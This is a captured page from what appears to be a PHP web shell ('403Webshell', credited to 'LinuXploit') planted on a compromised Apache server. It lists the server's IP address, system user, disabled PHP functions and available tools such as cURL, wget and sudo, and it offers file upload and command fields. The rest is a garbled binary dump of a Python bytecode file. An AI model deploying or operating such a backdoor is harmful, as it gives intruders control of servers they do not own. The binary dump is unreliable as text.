403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.217.127
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/apt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/apt/__pycache__/utils.cpython-311.pyc
�

�xkd�
��T�ddlmZddlZddlZddlmZmZddlZddlZd�Z	d�Z
d�ZdS)�)�print_functionN)�Optional�Tuplec��|dz}|dz}|j|z|j|zdzz}|j|zdz}|dkrd}|dz}||fS)z�
    get the (year, month) tuple when the maintenance for the distribution
    ends. Needs the data of the release and the number of months that
    its is supported as input
    �r�)�year�month)�release_date�m_months�years�months�support_end_year�support_end_months      �+/usr/lib/python3/dist-packages/apt/utils.py�get_maintenance_end_datersr��
��N�E�
��]�F�#�(�5�0�L�4F��4O�TV�3V�V��%�+�f�4��:���A������A����/�0�0�c�j�|rtj�|��sdStjt	j|����5}t	j|��}t|��}d|vr	ddd��dS|d}t	j|��cddd��S#1swxYwYdS)zF
    return the release date as time_t for the given release file
    N�Date)	�os�path�exists�fdopen�apt_pkg�open_maybe_clear_signed_file�TagFile�next�str_to_time)r�data�tag�section�dates     r�"get_release_date_from_release_filer#1s��
��r�w�~�~�d�+�+���t�	��7�7��=�=�	>�	>�)�$��o�d�#�#���s�)�)���� � ��	)�)�)�)�)�)�)�)�
�v����"�4�(�(�
)�)�)�)�)�)�)�)�)�)�)�)����)�)�)�)�)�)s�
)B(�B(�(B,�/B,c�j�||vrdS||}d}|jjD]<}|�|j��|jD](\}}|j|kr|j|kr
|j|kr|}�)�=|sdS|j�|jdd��}	|jjD]�}
|
j	D]�}|	r�|	j
|j
kr|	jrxtj
�d��}dD]V}
tj|
j��d|
j�d|
��z}t$j�||z��r||zcccS�W����dS)z+get the release file that provides this pkgNrzDir::State::lists)�	InRelease�Release�dists_�_)�_pkg�version_list�	file_list�origin�label�archive�_list�
find_index�list�index_files�describe�
is_trustedr�config�find_dir�uri_to_filename�uri�distrrr)�cache�pkgnamer-�release�pkg�ver�aver�ver_file�_index�	indexfile�	metaindex�m�dirname�relfile�names               r�get_release_filename_for_pkgrHBs����e����t�
��.�C�
�C���%�
�
���<�4�>�1�� $��	�	��H�f���5�(�(��N�e�+�+��$��/�/����	����t���&�&�s�}�Q�'7��':�;�;�I��[�%�
.�
.�	��&�		.�		.�A��
.�Y�/�1�:�=�=�)�BV�=�!�.�1�1�2E�F�F��7�.�.�G�"�2�9�=�A�A�A�!������E��D��w�~�~�g��n�5�5�.�&��~�-�-�-�-�-�-�-�.��		.��4r)�
__future__r�datetimer�typingrr�aptrrr#rH�rr�<module>rNs���&&�%�%�%�%�%�����	�	�	�	�"�"�"�"�"�"�"�"�
�
�
�
�����1�1�1�&)�)�)�""�"�"�"�"r

Youez - 2016 - github.com/yon3zu
LinuXploit